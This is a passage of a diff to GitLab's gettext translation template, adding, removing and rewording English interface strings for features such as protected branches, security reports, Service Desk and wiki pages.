msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24550,7 +25192,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24571,6 +25213,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24745,7 +25390,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24934,7 +25579,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25099,7 +25744,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25111,7 +25756,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25135,6 +25780,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25183,9 +25831,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25432,6 +26077,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25477,7 +26125,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25501,6 +26149,12 @@ msgstr[2] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25627,6 +26281,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25723,6 +26380,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26035,7 +26695,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26179,6 +26842,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26212,9 +26878,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26311,6 +26974,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26329,6 +26995,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26353,9 +27022,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26407,6 +27073,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26458,6 +27127,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26467,6 +27139,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26683,6 +27358,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26758,13 +27436,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26773,10 +27457,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26791,6 +27475,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26848,16 +27535,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26923,15 +27622,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26983,9 +27673,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26995,9 +27682,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27034,6 +27718,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27043,7 +27730,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27073,9 +27760,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27130,9 +27823,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27226,6 +27916,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27364,19 +28057,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27478,6 +28195,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27532,7 +28252,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27544,6 +28264,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27565,6 +28288,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27772,9 +28498,15 @@ msgstr[2] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27793,6 +28525,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28033,6 +28768,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28711,13 +29449,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28732,9 +29470,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28747,7 +29482,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28837,9 +29572,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28855,9 +29587,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28915,9 +29644,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29545,6 +30271,12 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29704,9 +30436,6 @@ msgstr[2] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29779,6 +30508,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29806,6 +30538,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29818,6 +30553,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29881,6 +30619,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29941,6 +30682,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30013,6 +30757,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30064,6 +30811,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30112,6 +30862,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30139,6 +30895,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30172,9 +30931,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30418,6 +31174,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30556,7 +31315,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30640,6 +31399,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30649,6 +31411,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30661,6 +31426,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30967,9 +31735,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31066,9 +31831,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31369,6 +32131,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31411,9 +32182,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31441,7 +32209,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31546,6 +32314,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31744,10 +32515,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31882,9 +32653,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31939,6 +32707,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32341,7 +33115,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32350,6 +33124,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32446,6 +33223,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32644,9 +33424,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32698,6 +33475,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32743,7 +33523,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32971,9 +33754,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33040,7 +33820,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33049,6 +33844,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33202,9 +34003,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33232,6 +34039,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33241,6 +34051,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33646,15 +34459,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33829,6 +34657,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33928,9 +34759,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34003,34 +34831,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
